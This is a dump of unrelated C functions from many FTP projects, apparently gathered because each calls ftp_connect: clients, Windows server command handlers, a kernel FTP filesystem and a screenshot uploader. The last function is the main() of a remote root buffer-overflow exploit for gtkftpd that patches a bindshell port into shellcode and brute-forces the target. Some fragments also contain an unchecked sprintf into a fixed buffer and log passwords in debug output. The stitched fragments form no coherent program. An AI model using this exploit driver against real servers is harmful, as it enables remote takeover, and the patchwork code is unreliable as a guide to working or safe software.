void set_umask(char *m) { char buf[80]; sprintf(buf,"umask %s", m); ftp_connect(); FtpSite(buf, conn); }
int ftp_login(FTP_CON ** con, const char *host, unsigned short port, const char *user, const char *password, const char *account) /* FTP login with username and password */ { int status; status = ftp_connect(con, host, port); if (status != FTP_SUCCESS) return status; status = ftp_user(*con, user); if (status >= 0) return status; if (status == -230) return status; if (status == -332) { if (account == NULL) return FTP_NET_ERROR; status = ftp_account(*con, account); if (status < 1) return status; if (status == -230) return status; } return ftp_password(*con, password); }
void change_directory(char *root) { ftp_connect(); if (!FtpChdir(root, conn)) { fprintf(stderr, "Change directory failed\n%s", FtpLastResponse(conn)); exit(EX_REMCMD); } }
void site_cmd(char *cmd) { ftp_connect(); if (!FtpSite( cmd, conn )) { fprintf(stderr,"SITE command failed\n%s", FtpLastResponse(conn)); exit(EX_REMCMD); } }
int ftp_connect_data() { int data_port = get_port(); if(data_port != 0) { ftp_server.sin_port=htons(data_port); } return(ftp_connect(&ftp_server, 0)); }
int conn_init( conn_t *conn ) { char *proxy = conn->conf->http_proxy, *host = conn->conf->no_proxy; int i; if( *conn->conf->http_proxy == 0 ) { proxy = NULL; } else if( *conn->conf->no_proxy != 0 ) { for( i = 0; ; i ++ ) if( conn->conf->no_proxy[i] == 0 ) { if( strstr( conn->host, host ) != NULL ) proxy = NULL; host = &conn->conf->no_proxy[i+1]; if( conn->conf->no_proxy[i+1] == 0 ) break; } } conn->proxy = proxy != NULL; if( conn->proto == PROTO_FTP && !conn->proxy ) { conn->ftp->local_if = conn->local_if; conn->ftp->ftp_mode = FTP_PASSIVE; if( !ftp_connect( conn->ftp, conn->host, conn->port, conn->user, conn->pass ) ) { conn->message = conn->ftp->message; conn_disconnect( conn ); return( 0 ); } conn->message = conn->ftp->message; if( !ftp_cwd( conn->ftp, conn->dir ) ) { conn_disconnect( conn ); return( 0 ); } } else { conn->http->local_if = conn->local_if; if( !http_connect( conn->http, conn->proto, proxy, conn->host, conn->port, conn->user, conn->pass ) ) { conn->message = conn->http->headers; conn_disconnect( conn ); return( 0 ); } conn->message = conn->http->headers; conn->fd = conn->http->fd; } return( 1 ); }
int main(int argc, char** argv){ if(argc != 2){ printUsage(); return 1; } int val = validateURL(argv[1], sizeof(argv[1])); int anon = 1; char user[MAX_STRING_SIZE]; char password[MAX_STRING_SIZE]; char host[MAX_STRING_SIZE]; char path[MAX_STRING_SIZE]; switch(val){ case 0: anon = 0; case 1: parseURL(argv[1], sizeof(argv[1]), host, user, password, path, anon); break; case 2: printUsage(); return 1; default: return 1; } ftp_t* ftp = ftp_init(host, user, password, path); if(ftp == NULL) return 1; if(ftp_connect(ftp) < 0) return 1; if(ftp_login_host(ftp) < 0) return 1; if(ftp_set_passive_mode(ftp) < 0) return 1; if(ftp_retr_file(ftp) < 0) return 1; if(ftp_download_file(ftp) < 0) return 1; if(ftp_disconnect(ftp) < 0) return 1; ftp_delete(ftp); return 0; }
//检查文件大小,文件不存在则返回-1 int ftp_file_size(const char *file_name) { int ret = -1, ret_code = 0, file_size = 0; ftp_t ftp; if (ftp_connect(&ftp) != 0) return -1; snprintf(ftp.cmd_buf, BUFSIZE, "SIZE %s\r\n", file_name); if ((ret = ftp_cmd_tx(&ftp)) == -1) goto _ret; //获得文件大小 sscanf(ftp.cmd_buf, "%d %d", &ret_code, &file_size); ret = file_size; _ret: ftp_disconnect(&ftp); return ret; }
int ftp_file_del(const char *file_name) { int ret = -1; ftp_t ftp; if (ftp_connect(&ftp) != 0) return -1; //发送删除命令 snprintf(ftp.cmd_buf, BUFSIZE, "DELE %s\r\n", file_name); if ((ret = ftp_cmd_tx(&ftp)) == -1) goto _ret; ret = 0; _ret: ftp_disconnect(&ftp); return ret; }
//上传buf内容到ftp的文件中 static int _ftp_file_put(const char *file_name, const uint8_t *buf, int buf_len) { int ret = -1; ftp_t ftp; if (ftp_connect(&ftp) != 0) return -1; //发送上传命令 snprintf(ftp.cmd_buf, BUFSIZE, "STOR %s\r\n", file_name); if ((ret = ftp_cmd_tx(&ftp)) == -1) goto _ret; //通过data socket发送数据 if (sock_write(ftp.data_sd, buf, buf_len) < buf_len) goto _ret; ret = 0; _ret: ftp_disconnect(&ftp); return ret; }
int connect_to_remote_host(int host) { if (isconnected) { return (0); } message(CONNECT, config.host_name[host], 0, host); if (config.host_name[host] == NULL) { fprintf(stderr, _("The host name is not configured.\n")); return (-1); } if (config.access_method[host] == FTP) { if (ftp_connect(host) == -1 || ftp_login(host) == -1) { return (-1); } } isconnected = TRUE; return (0); }
//读取ftp文件到buf中,返回文件大小 int ftp_file_get(const char *file_name, uint8_t *buf, int len) { int ret = -1, file_size = 0; ftp_t ftp; //文件不存在或者buf空间不够或者连接失败 if ((file_size = ftp_file_size(file_name)) == -1 \ || len < file_size || ftp_connect(&ftp) != 0) return -1; //发送获取文件命令 snprintf(ftp.cmd_buf, BUFSIZE, "RETR %s\r\n", file_name); if ((ret = ftp_cmd_tx(&ftp)) == -1) goto _ret; //通过data socket读取数据 if (sock_read_wait(ftp.data_sd, buf, file_size) < file_size) goto _ret; ret = file_size; _ret: ftp_disconnect(&ftp); return ret; }
int ftp_login(char * server_ip, int port, char * user, char * password) { int error; if(port<=0||port>=(1<<16)) { cmd_err_exit("Invalid port!",254); } bzero(&ftp_server,sizeof(struct sockaddr_in)); ftp_server.sin_family=AF_INET; ftp_server.sin_port=htons(port); if(inet_addr(server_ip)!=-1) { ftp_server.sin_addr.s_addr=inet_addr(server_ip); } else { if((server_hostent=gethostbyname(server_ip))!=0) { memcpy(&ftp_server.sin_addr,server_hostent->h_addr,sizeof(ftp_server.sin_addr)); } else { cmd_err_exit("Invalid address!",253); } } sock_control=ftp_connect(&ftp_server,1); /* 建立控制通道 */ if((error=ftp_get_reply(sock_control))!=220)/* 对新用户准备好 */ { cmd_err_exit("Connect error!",220); } if(ftp_send_cmd("USER ", user, sock_control) < 0) { cmd_err_exit("Can not send message",1); } error = ftp_get_reply(sock_control); printf("ftp reply number:<%d>, fun<%s> line<%d>\n",error,__FUNCTION__,__LINE__); if(error == 331) { if(ftp_send_cmd("PASS ", password, sock_control) <= 0) { cmd_err_exit("Can not send message",1); } else { error = ftp_get_reply(sock_control); } if(error != 230) { printf("Password error!\n"); close(sock_control); return -1; } printf("login succ!\n"); return 0; } else { printf("User error!\n"); close(sock_control); return -2; } }
void process_file(char *fnm) { int sts=0; fsz_t fsz; struct REMFILE *filelist = NULL; struct REMFILE rem; ftp_connect(); FtpClearCallback(conn); if ((action == FTP_SEND) || (action == FTP_GET) || (action == FTP_RM)) { if (action == FTP_SEND) { struct stat info; if (stat(fnm,&info) == -1) { perror(fnm); return; } if (S_ISDIR(info.st_mode)) { if (!FtpMkdir(fnm, conn)) fprintf(stderr,"mkdir %s failed\n%s",fnm,FtpLastResponse(conn)); else if (ftplib_debug) fprintf(stderr,"Directory %s created\n",fnm); return; } fsz = info.st_size; } else { if (!wildcard) { struct REMFILE *f; f = (struct REMFILE *) malloc(sizeof(struct REMFILE)); memset(f,0,sizeof(struct REMFILE)); f->next = filelist; filelist = f; f->fnm = strdup(fnm); } else { netbuf *dir; char *buf; if (!FtpAccess(fnm, FTPLIB_DIR, FTPLIB_ASCII, conn, &dir)) { fprintf(stderr,"error requesting directory of %s\n%s\n", fnm, FtpLastResponse(conn)); return; } buf = malloc(DIRBUF_SIZE); while (FtpRead(buf, DIRBUF_SIZE, dir) > 0) { struct REMFILE *f; char *p; f = (struct REMFILE *) malloc(sizeof(struct REMFILE)); memset(f,0,sizeof(struct REMFILE)); f->next = filelist; p = strchr(buf,'\n'); if (p) *p = '\0'; f->fnm = strdup(buf); filelist = f; } free(buf); FtpClose(dir); } } } switch (action) { case FTP_DIR : sts = FtpDir(NULL, fnm, conn); break; case FTP_LIST : sts = FtpNlst(NULL, fnm, conn); break; case FTP_SEND : rem.next = NULL; rem.fnm = fnm; rem.fsz = fsz; fsz /= 100; if (fsz > 100000) fsz = 100000; if (ftplib_debug && fsz) { FtpCallbackOptions opt; opt.cbFunc = log_progress; opt.cbArg = &rem; opt.idleTime = 1000; opt.bytesXferred = fsz; FtpSetCallback(&opt,conn); } sts = FtpPut(fnm,strippath ? basename(fnm) : fnm,mode,conn); if (ftplib_debug && sts) printf("%s sent\n",fnm); break; case FTP_GET : while (filelist) { struct REMFILE *f = filelist; filelist = f->next; #if defined(__UINT64_MAX) if (!FtpSizeLong(f->fnm, &fsz, mode, conn)) #else if (!FtpSize(f->fnm, &fsz, mode, conn)) #endif fsz = 0; f->fsz = fsz; fsz /= 100; if (fsz > 100000) fsz = 100000; if ( fsz == 0 ) fsz = 32768; if (ftplib_debug) { FtpCallbackOptions opt; opt.cbFunc = log_progress; opt.cbArg = f; opt.idleTime = 1000; opt.bytesXferred = fsz; FtpSetCallback(&opt,conn); } sts = FtpGet(f->fnm,f->fnm,mode,conn); if (ftplib_debug && sts) printf("%s retrieved\n",f->fnm); free(f->fnm); free(f); } break; case FTP_RM : while (filelist) { struct REMFILE *f = filelist; filelist = f->next; sts = FtpDelete(f->fnm,conn); if (ftplib_debug && sts) printf("%s deleted\n", f->fnm); free(f->fnm); free(f); } break; } if (!sts) printf("ftp error\n%s\n",FtpLastResponse(conn)); return; }
int do_LIST_NLST(ftp_session *s, char *param) { char *p, *dir, buf[MAX_BUFFER], ftp_dir[MAX_FTP_PATH]; int len, size; SOCKET sockfd; SYSTEMTIME stime; dir = s->dir; if (*param == ' ') { param++; /* Fix: for something like LIST -la /etc (e.g: on Midnight Commander) * Not compatible with standard */ if (*param == '-') { param++; while (*param != ' ' && *param != 0) param++; if (*param == ' ') param++; } len = get_string(param, buf, sizeof(buf)); if (param == 0) return 501; if (!parse_dir(dir, buf, ftp_dir)) return 450; param += len; dir = ftp_dir; } MATCH_CRLF(param); ftp_printf(s->control, reply_150); sockfd = ftp_connect(s); if (sockfd == -1) return 425; size = 0; GetLocalTime(&stime); if (strcmp(dir, "/") == 0) { char drive[4]; char list_buf[128]; char *list_item[32]; int list_dir[32]; int list_count, i; list_count = 0; p = list_buf; for (strcpy(drive, "a:\\"); drive[0] <= 'z'; drive[0]++) { int type = GetDriveType(drive); if (type == DRIVE_FIXED || (list_cdrom && type == DRIVE_CDROM) || (list_floppy && type == DRIVE_REMOVABLE)) { list_item[list_count] = p; list_dir[list_count++] = TRUE; *p++ = drive[0]; *p++ = 0; } } #ifdef USE_SPECIAL_FILE for (i = 0; special_file[i] != 0; i++) { list_item[list_count] = p; list_dir[list_count++] = FALSE; strcpy(p, special_file[i]); p += strlen(p)+1; } #endif for (i = 0; i < list_count; i++) { if (s->curr_command == cmd_LIST) { char ro = (readonly || !list_dir[i]) ? '-' : 'w'; char dir = list_dir[i] ? 'd' : '-'; char exec = list_dir[i] ? 'x' : '-'; size += sprintf(&buf[size], "%cr%c%cr%c%cr%c%c 1 %-8s %-8s %10d %s %2d %02d:%02d %s\r\n", dir, ro, exec, ro, exec, ro, exec, ftp_owner, ftp_group, 0, month[stime.wMonth-1], stime.wDay, stime.wHour, stime.wMinute, list_item[i]); } else size += sprintf(&buf[size], "%s\r\n", list_item[i]); if (size >= MAX_BUFFER_FILLED) { my_send(sockfd, buf, MAX_BUFFER_FILLED, 0); size -= MAX_BUFFER_FILLED; memmove(buf, &buf[MAX_BUFFER_FILLED], size); } } } else { WIN32_FIND_DATA find_data; HANDLE handle; ftp_to_fs(dir, buf); strcpy(ftp_dir, buf); if (is_dir_exists(ftp_dir)) { len = strlen(ftp_dir); if (ftp_dir[len-1] != '\\') ftp_dir[len++] = '\\'; strcpy(&ftp_dir[len], "*.*"); } handle = FindFirstFile(ftp_dir, &find_data); if (handle != INVALID_HANDLE_VALUE) { do { char year[6], dir, ro, exec; SYSTEMTIME time; if (strcmp(find_data.cFileName, ".") == 0 || strcmp(find_data.cFileName, "..") == 0) continue; dir = (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : '-'; ro = (find_data.dwFileAttributes & FILE_ATTRIBUTE_READONLY) || readonly ? '-' : 'w'; exec = (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'x' : '-'; FileTimeToSystemTime(&find_data.ftLastWriteTime, &time); if (time.wYear == stime.wYear) sprintf(year, "%02d:%02d", time.wHour, time.wMinute); else sprintf(year, "%d", time.wYear); if (s->curr_command == cmd_LIST) { size += sprintf(&buf[size], "%cr%c%cr%c%cr%c%c 1 %-8s %-8s %10lu %s %2d %5s %s\r\n", dir, ro, exec, ro, exec, ro, exec, ftp_owner, ftp_group, find_data.nFileSizeLow, month[time.wMonth-1], time.wDay, year, find_data.cFileName); } else size += sprintf(&buf[size], "%s\r\n", find_data.cFileName); if (size >= MAX_BUFFER_FILLED) { my_send(sockfd, buf, MAX_BUFFER_FILLED, 0); size -= MAX_BUFFER_FILLED; memmove(buf, &buf[MAX_BUFFER_FILLED], size); } } while (FindNextFile(handle, &find_data)); FindClose(handle); } } if (size >= 0) my_send(sockfd, buf, size, 0); closesocket(sockfd); return 226; }
void Connection::on_buttonBox_accepted() { ftp_connect(); }
/* Amongst all the fluff, this is the bit that does the actual work. */ static void do_shot(void *data) { char *sys; char qual_buf[5]; char *filename_buf; char frame_buf[10]; char beep_buf[20]; char import_buf[50]; char *script_buf = NULL; char *view_buf = NULL; char *filename = NULL; Esnprintf(qual_buf, sizeof(qual_buf), "%d", opt.quality); filename = _Strjoin(NULL, opt.dir, opt.file_prefix, opt.file_stamp, ".", opt.file_type, NULL); filename_buf = _Strjoin(NULL, "SCRTEMP=\"", filename, "\"", NULL); if (!strcmp(opt.grabber, "import")) { if ((opt.frame) && (opt.win)) Esnprintf(frame_buf, sizeof(frame_buf), "-frame"); else frame_buf[0] = '\0'; if (opt.beep) beep_buf[0] = '\0'; else Esnprintf(beep_buf, sizeof(beep_buf), "-silent"); if (opt.win) Esnprintf(import_buf, sizeof(import_buf), "import"); else Esnprintf(import_buf, sizeof(import_buf), "import -window root"); if (opt.run_script) script_buf = _Strjoin(" ", "&&", opt.script, "$SCRTEMP", NULL); else script_buf = _Strdup(" "); if (opt.view_shot) view_buf = _Strjoin(" ", "&&", opt.viewer, "$SCRTEMP", NULL); else view_buf = _Strdup(" "); sys = _Strjoin(" ", opt.do_ftp ? "" : "(", filename_buf, "&&", import_buf, beep_buf, frame_buf, "-quality", qual_buf, "$SCRTEMP", script_buf, view_buf, opt.do_ftp ? "" : ")&", NULL); } else if (!strcmp(opt.grabber, "scrot")) { char delay_buf[20]; if (opt.delay > 0) Esnprintf(delay_buf, sizeof(delay_buf), "-d %.0f", opt.delay); else delay_buf[0] = '\0'; if ((opt.frame) && (opt.win)) Esnprintf(frame_buf, sizeof(frame_buf), "-b"); else frame_buf[0] = '\0'; if (opt.win) Esnprintf(import_buf, sizeof(import_buf), "scrot -s"); else Esnprintf(import_buf, sizeof(import_buf), "scrot"); if (opt.run_script) script_buf = _Strjoin(" ", "&&", opt.script, "$SCRTEMP", NULL); else script_buf = _Strdup(" "); if (opt.view_shot) view_buf = _Strjoin(" ", "&&", opt.viewer, "$SCRTEMP", NULL); else view_buf = _Strdup(" "); sys = _Strjoin(" ", opt.do_ftp ? "" : "(", filename_buf, "&&", import_buf, delay_buf, frame_buf, "--quality", qual_buf, "$SCRTEMP", script_buf, view_buf, opt.do_ftp ? "" : ")&", NULL); } else { printf("don't know how to handle grabber %s\n", opt.grabber); return; } system(sys); if (opt.do_ftp) { if (!ftp_connected) ftp_connect(opt.ftp_host, opt.ftp_user, opt.ftp_pass, opt.ftp_dir); ftp_upload(filename, opt.ftp_file, opt.ftp_temp); } free(sys); free(script_buf); free(view_buf); free(filename_buf); free(filename); return; data = NULL; }
int main(int argc, char* argv[]) { if (argc != 2) { print_usage(argv[0]); return EXIT_FAILURE; } URL url; url_init(&url); int error = url_from_string(&url, argv[1]); if (error) { fprintf(stderr, "Could not sucessfully parse FTP url (error code: %d)\n", error); url_destroy(&url); return EXIT_FAILURE; } error = url_host_to_ip(&url); if (error) { fprintf(stderr, "Could not get an IPv4 IP address from hostname %s (error code: %d)\n", url.host, error); return EXIT_FAILURE; } FTP ftp; error = ftp_connect(&ftp, url.ip, url.port ? url.port : 21); if (error) { fprintf(stderr, "Could not connect to ftp at IP %s, port %d\n", url.ip, url.port ? url.port : 21); return EXIT_FAILURE; } const char* user = strlen(url.user) ? url.user : "******"; const char* pass = strlen(url.password) ? url.password : "******"; error = ftp_login(&ftp, user, pass); if (error) { fprintf(stderr, "Could not login with user %s and pass %s\n", user, pass); return EXIT_FAILURE; } char path[1024] = ""; for (int i = 0; i < url.num_parts - 1; ++i) { strcat(path, url.parts[i]); strcat(path, "/"); } if (path[0] != 0) { error = ftp_cwd(&ftp, path); if (error) { perror("ftp_cwd"); return error; } } error = ftp_pasv(&ftp); if (error) { perror("ftp_pasv"); return error; } const char* file_name = url.num_parts ? url.parts[url.num_parts - 1] : ""; error = ftp_retr(&ftp, file_name); if (error) { perror("ftp_retr"); return error; } error = ftp_download(&ftp, file_name); if (error) { perror("ftp_download"); return error; } error = ftp_disconnect(&ftp); if (error) { perror("ftp_disconnect"); return error; } url_destroy(&url); return EXIT_SUCCESS; }
void process_file(char *fnm) { int sts = 0; int fsz; struct REMFILE *filelist = NULL; struct REMFILE rem; ftp_connect(); FtpOptions(FTPLIB_CALLBACK, (long) NULL, conn); if ((action == FTP_SEND) || (action == FTP_GET)) { if (action == FTP_SEND) { struct stat info; if (stat(fnm, &info) == -1) { perror(fnm); return; } if (S_ISDIR(info.st_mode)) { if (!ftpMkdir(fnm)) fprintf(stderr, "mkdir %s failed\n%s", fnm, FtpLastResponse(conn)); else if (ftplib_debug) fprintf(stderr, "Directory %s created\n", fnm); return; } fsz = info.st_size; } else { if (!wildcard) { struct REMFILE *f; f = (struct REMFILE *) malloc(sizeof(struct REMFILE)); memset(f, 0, sizeof(struct REMFILE)); f->next = filelist; filelist = f; f->fnm = strdup(fnm); } else { netbuf * dir; char *buf; if (!FtpAccess(fnm, FTPLIB_DIR, FTPLIB_ASCII, conn, &dir)) { fprintf(stderr, "error requesting directory of %s\n%s\n", fnm, FtpLastResponse(conn)); return; } buf = malloc(DIRBUF_SIZE); while (FtpRead(buf, DIRBUF_SIZE, dir) > 0) { struct REMFILE *f; char *p; f = (struct REMFILE *) malloc(sizeof(struct REMFILE)); memset(f, 0, sizeof(struct REMFILE)); f->next = filelist; p = strchr(buf, '\n'); if (p) *p = '\0'; f->fnm = strdup(buf); filelist = f; } free(buf); FtpClose(dir); } } } switch (action) { case FTP_DIR: sts = FtpDir(NULL, fnm, conn); break; case FTP_LIST: sts = FtpNlst(NULL, fnm, conn); break; case FTP_SEND: rem.next = NULL; rem.fnm = fnm; rem.fsz = fsz; fsz /= 10; if (fsz > 100000) fsz = 100000; if (ftplib_debug && fsz) { FtpOptions(FTPLIB_CALLBACK, (long) log_progress, conn); FtpOptions(FTPLIB_IDLETIME, (long) 1000, conn); FtpOptions(FTPLIB_CALLBACKARG, (long) &rem, conn); FtpOptions(FTPLIB_CALLBACKBYTES, (long) fsz, conn); } sts = FtpPut(fnm, fnm, mode, conn); if (ftplib_debug && sts) printf("%s sent\n", fnm); break; case FTP_GET: while (filelist) { struct REMFILE *f = filelist; filelist = f->next; if (!FtpSize(f->fnm, &fsz, mode, conn)) fsz = 0; f->fsz = fsz; fsz /= 10; if (fsz > 100000) fsz = 100000; if (ftplib_debug && fsz) { FtpOptions(FTPLIB_CALLBACK, (long) log_progress, conn); FtpOptions(FTPLIB_IDLETIME, (long) 1000, conn); FtpOptions(FTPLIB_CALLBACKARG, (long) f, conn); FtpOptions(FTPLIB_CALLBACKBYTES, (long) fsz, conn); } sts = FtpGet(f->fnm, f->fnm, mode, conn); if (ftplib_debug && sts) printf("%s retrieved\n", f->fnm); free(f->fnm); free(f); } break; case FTP_RM: while (filelist) { struct REMFILE *f = filelist; filelist = f->next; sts = FtpDelete(f->fnm, conn); if (ftplib_debug && sts) printf("%s deleted\n", f->fnm); free(f->fnm); free(f); } break; } if (!sts) printf("ftp error\n%s\n", FtpLastResponse(conn)); return; }
int do_RETR(ftp_session *s, char *param) { int len; char arg[MAX_FTP_PATH], ftp_dir[MAX_FTP_PATH], buf[MAX_BUFFER]; FILE *fp; size_t read, write; SOCKET sockfd; #ifdef USE_SPECIAL_FILE int type, start, size; char *mem; #endif MATCH_SP(param); len = get_string(param, arg, sizeof(arg)); if (len == 0) return 501; param += len; MATCH_CRLF(param); if (!parse_dir(s->dir, arg, ftp_dir)) return 550; #ifndef USE_SPECIAL_FILE if (!ftp_to_fs_read(ftp_dir, arg)) return 550; #else type = get_special_file(ftp_dir); if (type == file_INVALID && !ftp_to_fs_read(ftp_dir, arg)) return 550; if (type != file_INVALID) { start = 0; switch (type) { #ifdef USE_SCREEN_BMP case file_SCREEN_BMP: mem = create_snapshot(&size); if (mem == NULL) return 450; break; #endif #ifdef USE_SCREEN_JPG case file_SCREEN_ZIP: { mem = create_jpeg(&size); if (mem == NULL) return 450; break; } #endif default: return 450; } } else #endif { fp = fopen(arg, "rb"); if (fp == NULL) return 450; } if (s->prev_command == cmd_REST) { #ifdef USE_SPECIAL_FILE if (type != file_INVALID) start = s->restart; else #endif fseek(fp, s->restart, SEEK_SET); } ftp_printf(s->control, reply_150); sockfd = ftp_connect(s); if (sockfd == -1) { #ifdef USE_SPECIAL_FILE if (type != file_INVALID) free(mem); else #endif fclose(fp); return 425; } #ifdef USE_SPECIAL_FILE if (type != file_INVALID) { write = my_send(sockfd, &mem[start], size-start, 0); free(mem); if (write != size-start) { closesocket(sockfd); return 426; } } else #endif { while (!feof(fp)) { s->tick = GetTickCount(); read = fread(buf, 1, sizeof(buf), fp); if (ferror(fp)) { closesocket(sockfd); fclose(fp); return 451; } write = my_send(sockfd, buf, read, 0); if (read != write) { closesocket(sockfd); fclose(fp); return 426; } } fclose(fp); } closesocket(sockfd); return 226; }
int main(int argc, char *argv[]) { int files_processed = 0; int opt; invocation = argv[0]; optind = 1; if (strstr(argv[0],"send") != NULL) action = FTP_SEND; else if (strstr(argv[0],"get") != NULL) action = FTP_GET; else if (strstr(argv[0],"dir") != NULL) action = FTP_DIR; else if (strstr(argv[0],"list") != NULL) action = FTP_LIST; else if (strstr(argv[0],"rm") != NULL) action = FTP_RM; if ((action == 0) && (argc > 2)) { if ( argc < 3 ) /* command + site */ { usage(); exit( EX_SYNTAX ); } if (strcmp(argv[1],"send") == 0) action = FTP_SEND; else if (strcmp(argv[1],"get") == 0) action = FTP_GET; else if (strcmp(argv[1],"dir") == 0) action = FTP_DIR; else if (strcmp(argv[1],"list") == 0) action = FTP_LIST; else if (strcmp(argv[1],"rm") == 0) action = FTP_RM; if (action) optind++; } if (action == 0) { usage(); exit(EX_SYNTAX); } FtpInit(); // while (argv[optind] != NULL) while ( optind < argc ) { if (argv[optind][0] != '-') { if (host == NULL) host = argv[optind++]; else { process_file(argv[optind++]); files_processed++; } continue; } opt = getopt(argc,argv,"abil:m:p:r:s:v:w"); switch (opt) { case '?' : fprintf(stderr,"Invalid option: %c\n", opt); usage(); exit(EX_SYNTAX); case ':' : usage(); exit(EX_SYNTAX); case 'a' : mode = 'A'; break; case 'b' : strippath = !strippath; break; case 'i' : mode = 'I'; break; case 'l' : user = optarg; break; case 'm' : set_umask(optarg); break; case 'p' : pass = optarg; break; case 'r' : change_directory(optarg); break; case 's' : site_cmd(optarg); break; case 'v' : if (opt == ':') ftplib_debug++; else ftplib_debug = atoi(optarg); break; case 'w' : wildcard = !wildcard; break; default : usage(); exit(EX_SYNTAX); } } if (files_processed == 0) { ftp_connect(); if ((action == FTP_DIR) || (action == FTP_LIST)) process_file(NULL); else { char fnm[256]; do { char *nl; if (isatty(fileno(stdin))) printf("file> "); if (fgets(fnm, sizeof(fnm), stdin) == NULL) break; if ((nl = strchr(fnm,'\n')) != NULL) *nl = '\0'; process_file(fnm); } while (1); } } if (conn) FtpClose(conn); return 0; }
struct super_block* ftp_read_super(struct super_block* sb, void *opts, int silent){ struct ftp_sb_info *info; struct ftp_fattr root; struct inode *root_inode; lock_super(sb); info=(struct ftp_sb_info *)kmalloc(sizeof(struct ftp_sb_info),GFP_KERNEL); if(!info){ DEBUG(" Not enough kmem to allocate info!!\n"); goto out; } ftp_cache_init(); memset(info,0,sizeof(struct ftp_sb_info)); sb->u.generic_sbp = info; sb->s_blocksize = 1024; sb->s_blocksize_bits = 10; sb->s_magic = FTP_SUPER_MAGIC; sb->s_op = &ftp_sops; sb->s_flags |= MS_RDONLY; info->mnt.version = FTP_VERSION; info->mnt.file_mode = (S_IRWXU | S_IRGRP | S_IROTH | S_IFREG); info->mnt.dir_mode = (S_IRWXU | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH | S_IFDIR); info->mnt.uid = current->uid; info->mnt.gid = current->gid; info->ctrl_sock = NULL; info->data_sock = NULL; info->sem = MUTEX; DEBUG(" uid:%d gid:%d\n",current->uid,current->gid); if(ftp_parse_options(info, opts)<0){ DEBUG(" Wrong options!\n"); goto out_no_opts; } DEBUG(" Mounting %u.%u.%u.%u:%u, user %s, password %s\n", info->address.sin_addr.s_addr & 0xff, (info->address.sin_addr.s_addr >> 8) & 0xff, (info->address.sin_addr.s_addr >> 16) & 0xff, (info->address.sin_addr.s_addr >> 24) & 0xff, ntohs(info->address.sin_port), info->user, info->pass); if(ftp_connect(info)<0){ DEBUG(" Shit!\n"); goto out_no_opts; } ftp_init_root_dirent(info, &root); root_inode = ftp_iget(sb, &root); if(!root_inode) goto out_no_root; sb->s_root = d_alloc_root(root_inode, NULL); if(!sb->s_root) goto out_no_root; unlock_super(sb); DEBUG(" Mount succeded!\n"); return sb; out_no_root: iput(root_inode); out_no_opts: kfree(info); out: unlock_super(sb); DEBUG(" Mount failed!!\n"); return NULL; }
int do_STOR(ftp_session *s, char *param) { int len; char arg[MAX_FTP_PATH], ftp_dir[MAX_FTP_PATH], buf[MAX_BUFFER]; FILE *fp; SOCKET sockfd; MATCH_SP(param); len = get_string(param, arg, sizeof(arg)); if (len == 0) return 501; param += len; MATCH_CRLF(param); if (!parse_dir(s->dir, arg, ftp_dir)) return 553; if (!ftp_to_fs_write(ftp_dir, arg)) return 553; if (s->prev_command == cmd_REST) { fp = fopen(arg, is_file_exists(arg) ? "r+b" : "wb"); fseek(fp, s->restart, SEEK_SET); } else fp = fopen(arg, "wb"); if (fp == NULL) return 450; ftp_printf(s->control, reply_150); sockfd = ftp_connect(s); if (sockfd == -1) { fclose(fp); return 425; } for (;;) { s->tick = GetTickCount(); len = recv(sockfd, buf, sizeof(buf), 0); if (len == 0) break; if (len == SOCKET_ERROR) { closesocket(sockfd); fclose(fp); return 426; } if (len != fwrite(buf, 1, len, fp)) { closesocket(sockfd); fclose(fp); return 452; } } closesocket(sockfd); fclose(fp); return 226; }
/* program start. */ int main(int argc,char **argv){ int chr=0; printf("[*] gtkftpd[v1.0.4(and below)]: remote root buffer overflow" " exploit.\n[*] by: vade79/v9 [email protected] (fakehalo)\n\n"); /* set the chomp point, filter long lines. */ if(getenv("COLUMNS"))columns=atoi(getenv("COLUMNS")); if(7>columns||columns>256)columns=DFLCLM; while((chr=getopt(argc,argv,"h:P:s:u:p:c:b:a:n:rd"))!=EOF){ switch(chr){ case 'h': if(!host&&!(host=(char *)strdup(optarg))) printe("main(): allocating memory failed.",1); break; case 'P': port=atoi(optarg); break; case 's': sport=atoi(optarg); break; case 'u': if(!user&&!(user=(char *)strdup(optarg))) printe("main(): allocating memory failed.",1); break; case 'p': if(!pass&&!(pass=(char *)strdup(optarg))) printe("main(): allocating memory failed.",1); break; case 'c': if(!writedir&&!(writedir=(char *)strdup(optarg))) printe("main(): allocating memory failed.",1); break; case 'b': sscanf(optarg,"%x",&baseaddr); break; case 'a': align=atoi(optarg); break; case 'n': attempts=atoi(optarg); break; case 'r': reverse=1; break; case 'd': no_io=1; break; default: usage(argv[0]); break; } } if(!host) usage(argv[0]); /* fill in the blanks, or out of bounds. */ if(!user)user=DFLUSER; if(!pass)pass=DFLPASS; if(!writedir)writedir=DFLDIR; if(!baseaddr)baseaddr=DFLADDR; if(align>3)align=2; if(!((sport&0xff00)>>8)||!(sport&0x00ff)){ printf("[!] shell port defined contains null byte(s), using default.\n"); sport=7979; /* back to default. */ } /* change the bindshell port. */ x86_exec[20]=(sport&0xff00)>>8; x86_exec[21]=(sport&0x00ff); /* verbose. */ printf("[*] target: %s:%d, identity: %s:%s.\n[*] directory: %s, brute" " start: 0x%.8x, alignment: %d.\n[*] memory direction: %s, attempts: " "%d, bindshell port: %d.\n\n",host,port,user,pass,writedir,baseaddr, align,(!reverse?"downward":"upward"),attempts,sport); signal(SIGINT,sig_ctrlc); /* explained/pretty exit. */ signal(SIGPIPE,sig_pipe); /* handle abnormal disconnects. */ ftp_connect(); /* do the magic, brute force. */ printe("brute force exhausted, failed.",0); exit(0); }
